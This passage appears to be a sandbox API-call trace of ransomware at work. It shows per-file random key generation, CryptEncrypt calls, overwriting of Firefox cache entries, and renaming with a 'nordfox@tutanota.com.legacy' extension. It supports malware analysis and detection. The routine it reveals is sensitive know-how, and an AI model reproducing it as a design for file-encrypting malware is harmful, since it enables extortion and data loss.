pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9ab8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.310] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9ab8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9ab8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.310] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.310] CloseHandle (hObject=0x1b80) returned 1 [0191.310] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2d7db1f2a5bbde7db3035cea82134d2cf20d58ae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2d7db1f2a5bbde7db3035cea82134d2cf20d58ae.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9698 | out: pbBuffer=0x30d9698) returned 1 [0191.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.313] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2CA5871C48087826D8608DA52BA892CBBA1FC30E", dwFileAttributes=0x80) returned 1 [0191.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dac40 [0191.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.313] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2CA5871C48087826D8608DA52BA892CBBA1FC30E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ca5871c48087826d8608da52ba892cbba1fc30e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.314] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4407) returned 1 [0191.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1137) returned 0x30f5890 [0191.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1137) returned 0x30db048 [0191.314] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0191.322] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.323] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0191.323] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1137 [0191.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9698*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9698*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.323] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9698*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9698*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.323] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.323] CloseHandle (hObject=0x1b80) returned 1 [0191.323] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2CA5871C48087826D8608DA52BA892CBBA1FC30E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ca5871c48087826d8608da52ba892cbba1fc30e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2CA5871C48087826D8608DA52BA892CBBA1FC30E.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ca5871c48087826d8608da52ba892cbba1fc30e.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30da928 | out: pbBuffer=0x30da928) returned 1 [0191.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0191.325] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C6468600265AB1F5F8363AFD96F4AE7E91EE790", dwFileAttributes=0x80) returned 1 [0191.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da1f0 [0191.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.325] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C6468600265AB1F5F8363AFD96F4AE7E91EE790" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c6468600265ab1f5f8363afd96f4ae7e91ee790"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.326] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=11774) returned 1 [0191.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2dfe) returned 0x30db048 [0191.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2dfe) returned 0x30dde50 [0191.326] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0x2dfe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2dfe, lpOverlapped=0x0) returned 1 [0191.335] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-11774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.335] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dde50*, nNumberOfBytesToWrite=0x2dfe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dde50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2dfe, lpOverlapped=0x0) returned 1 [0191.335] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2dfe [0191.335] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.335] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30da928*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30da928*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.335] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da928*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da928*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.336] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.336] CloseHandle (hObject=0x1b80) returned 1 [0191.336] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C6468600265AB1F5F8363AFD96F4AE7E91EE790" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c6468600265ab1f5f8363afd96f4ae7e91ee790"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C6468600265AB1F5F8363AFD96F4AE7E91EE790.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c6468600265ab1f5f8363afd96f4ae7e91ee790.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9488 | out: pbBuffer=0x30d9488) returned 1 [0191.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.338] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C416B78A7C89B5CDB81D93B1A303A39C7E34723", dwFileAttributes=0x80) returned 1 [0191.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da1f0 [0191.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.338] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C416B78A7C89B5CDB81D93B1A303A39C7E34723" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c416b78a7c89b5cdb81d93b1a303a39c7e34723"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.338] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4409) returned 1 [0191.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139) returned 0x30f5890 [0191.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139) returned 0x30db048 [0191.338] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0191.346] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.346] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0191.346] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1139 [0191.346] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.346] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9488*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9488*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.347] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9488*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9488*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.347] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.347] CloseHandle (hObject=0x1b80) returned 1 [0191.347] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C416B78A7C89B5CDB81D93B1A303A39C7E34723" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c416b78a7c89b5cdb81d93b1a303a39c7e34723"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C416B78A7C89B5CDB81D93B1A303A39C7E34723.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c416b78a7c89b5cdb81d93b1a303a39c7e34723.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30da1f0 | out: pbBuffer=0x30da1f0) returned 1 [0191.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.350] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C1C3006E308780316B46ECD995A5336C781BEE6", dwFileAttributes=0x80) returned 1 [0191.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dac40 [0191.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.350] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C1C3006E308780316B46ECD995A5336C781BEE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c1c3006e308780316b46ecd995a5336c781bee6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.350] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=9570) returned 1 [0191.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2562) returned 0x30db048 [0191.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2562) returned 0x30dd5b8 [0191.350] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0x2562, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2562, lpOverlapped=0x0) returned 1 [0191.359] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-9570, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.359] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd5b8*, nNumberOfBytesToWrite=0x2562, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd5b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2562, lpOverlapped=0x0) returned 1 [0191.359] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2562 [0191.359] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.359] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30da1f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30da1f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.360] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da1f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da1f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.360] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.360] CloseHandle (hObject=0x1b80) returned 1 [0191.360] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C1C3006E308780316B46ECD995A5336C781BEE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c1c3006e308780316b46ecd995a5336c781bee6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C1C3006E308780316B46ECD995A5336C781BEE6.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c1c3006e308780316b46ecd995a5336c781bee6.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30da0e8 | out: pbBuffer=0x30da0e8) returned 1 [0191.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.362] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2", dwFileAttributes=0x80) returned 1 [0191.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da2f8 [0191.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.362] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b784c0ceb48628d9fc88bc8a0d31e38cfc370a2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.362] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=81) returned 1 [0191.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x51) returned 0x56f118 [0191.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x51) returned 0x5698c8 [0191.362] ReadFile (in: hFile=0x1b80, lpBuffer=0x56f118, nNumberOfBytesToRead=0x51, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x51, lpOverlapped=0x0) returned 1 [0191.363] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.363] WriteFile (in: hFile=0x1b80, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x51, lpOverlapped=0x0) returned 1 [0191.363] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x51 [0191.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30da0e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30da0e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.364] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da0e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da0e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.364] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.364] CloseHandle (hObject=0x1b80) returned 1 [0191.364] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b784c0ceb48628d9fc88bc8a0d31e38cfc370a2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B784C0CEB48628D9FC88BC8A0D31E38CFC370A2.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b784c0ceb48628d9fc88bc8a0d31e38cfc370a2.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d98a8 | out: pbBuffer=0x30d98a8) returned 1 [0191.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.366] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B24068915A6A6D77F01D72F7883D0A5FF0907B6", dwFileAttributes=0x80) returned 1 [0191.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9bc0 [0191.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.366] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B24068915A6A6D77F01D72F7883D0A5FF0907B6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b24068915a6a6d77f01d72f7883d0a5ff0907b6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.366] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4803) returned 1 [0191.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12c3) returned 0x30f5890 [0191.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12c3) returned 0x30db048 [0191.366] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x12c3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x12c3, lpOverlapped=0x0) returned 1 [0191.373] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.373] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0x12c3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12c3, lpOverlapped=0x0) returned 1 [0191.373] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12c3 [0191.374] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.374] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d98a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d98a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.374] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d98a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d98a8*, 